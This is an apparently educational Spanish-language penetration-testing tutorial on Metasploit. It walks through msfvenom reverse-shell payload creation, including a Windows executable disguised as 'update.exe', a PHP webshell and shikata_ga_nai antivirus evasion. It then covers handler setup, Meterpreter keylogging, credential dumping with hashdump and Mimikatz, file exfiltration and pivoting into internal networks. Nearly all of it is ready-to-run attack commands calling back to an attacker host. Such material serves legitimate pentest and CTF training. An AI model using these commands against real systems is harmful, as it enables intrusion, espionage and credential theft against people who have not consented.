← Volver al inicio
Metasploit Exploitation Meterpreter Msfvenom Pivoting
Avanzado

Metasploit Framework: Explotación y Post-Explotación

10/03/2022

Metasploit Framework (MSF) es la plataforma de explotación más utilizada en ciberseguridad ofensiva. Permite desarrollar, probar y ejecutar exploits contra sistemas objetivo. Más allá de lanzar exploits públicos, su verdadero poder reside en el manejo de sesiones y el enrutamiento de red (Pivoting).

1. Gestión de Base de Datos y Workspaces

Trabajar con la base de datos de Metasploit es vital en auditorías grandes para no perder el rastro de hosts, servicios y credenciales extraídas.

# Iniciar la base de datos PostgreSQL en Linux:
systemctl start postgresql
msfdb init

# Dentro de msfconsole:
db_status                # Verificar que estamos conectados
workspace -a EmpresaX    # Crear un espacio de trabajo aislado
workspace EmpresaX       # Cambiar a ese espacio

# Ejecutar Nmap y guardar resultados directamente en la DB de Metasploit:
db_nmap -sV -p- 192.168.1.50

# Ver los datos recopilados:
hosts                    # Ver todos los equipos descubiertos
services                 # Ver todos los puertos abiertos
creds                    # Ver contraseñas y hashes robados
vulns                    # Ver vulnerabilidades identificadas

2. El concepto vital: Payloads Staged vs Stageless

Un error de novato es no entender cómo viaja el payload al servidor comprometido.

🔴 Simulador Msfvenom Crafter

Te enfrentas a un firewall corporativo que corta las conexiones en dos fases. Necesitas generar un Payload Stageless (sin etapas) para un sistema Windows de 64 bits. Construye el comando de msfvenom exacto para asegurar tu shell inicial.

>_ INICIAR RETO CTF 21

3. Creación de Payloads con msfvenom

# Payload Windows EXE (Stageless - Más fiable):
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.14.50 LPORT=4444 -f exe -o update.exe

# Payload Linux ELF (Staged):
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.50 LPORT=4444 -f elf -o linux_shell

# Payload PHP (Webshell):
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.14.50 LPORT=4444 -f raw -o shell.php

# Uso de Encoders para evasión de Antivirus (Ej: Shikata_ga_nai, 3 iteraciones):
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.50 LPORT=4444 -e x86/shikata_ga_nai -i 3 -f exe -o encoded.exe

4. Configuración del Handler (El Listener)

Si envías un payload generado por msfvenom a una víctima, necesitas que Metasploit esté escuchando correctamente para atrapar la sesión cuando la víctima lo ejecute.

msfconsole -q
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.14.50
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > exploit -j     # -j ejecuta el listener en segundo plano

5. Meterpreter — Post-Explotación Avanzada

Una vez consigues la codiciada sesión meterpreter >, estás dentro de la máquina. Las acciones típicas incluyen escalar privilegios, robar hashes y borrar tus huellas.

# Información del sistema y procesos:
sysinfo
getuid                 # Ver qué usuario somos (Queremos ser NT AUTHORITY\SYSTEM)
ps                     # Listar procesos
migrate 1432           # Migrar nuestro payload al proceso de Explorer.exe para no perder la shell

# Interacción del sistema:
shell                  # Soltar a una CMD/Bash nativa del sistema operativo
upload /local/file.exe C:\\Windows\\Temp\\
download C:\\Users\\Admin\\passwords.txt /tmp/

# Espionaje:
screenshot
keyscan_start          # Iniciar keylogger
keyscan_dump           # Volcar contraseñas tecleadas

# Robo de credenciales (Requiere privilegios SYSTEM):
hashdump               # Extrae el archivo SAM (Contraseñas hasheadas de Windows)
load kiwi              # Carga Mimikatz directamente en memoria
creds_all              # Ejecuta Mimikatz para robar contraseñas en texto claro de la RAM

6. Pivoting (Enrutamiento de Red)

Si comprometes el Servidor A (192.168.1.10), y descubres que tiene una segunda tarjeta de red conectada a una base de datos interna (10.0.0.5), tú (el atacante) no puedes llegar a la 10.0.0.5. Debes usar Metasploit para enrutar tu tráfico a través de la sesión de Meterpreter del Servidor A.

# 1. Enviar Meterpreter al background (ctrl + z)
meterpreter > background

# 2. Configurar la ruta para que todo el tráfico a la red 10.X.X.X pase por la sesión 1:
msf6 > route add 10.0.0.0/24 1

# 3. Escanear la red interna desde Metasploit (usando la máquina comprometida como puente):
msf6 > use auxiliary/scanner/portscan/tcp
msf6 > set RHOSTS 10.0.0.5
msf6 > run

# 4. Exponer un puerto interno al exterior (Port Forwarding):
# Traer el puerto 3306 de la víctima interna a tu propio puerto local 13306
meterpreter > portfwd add -l 13306 -p 3306 -r 10.0.0.5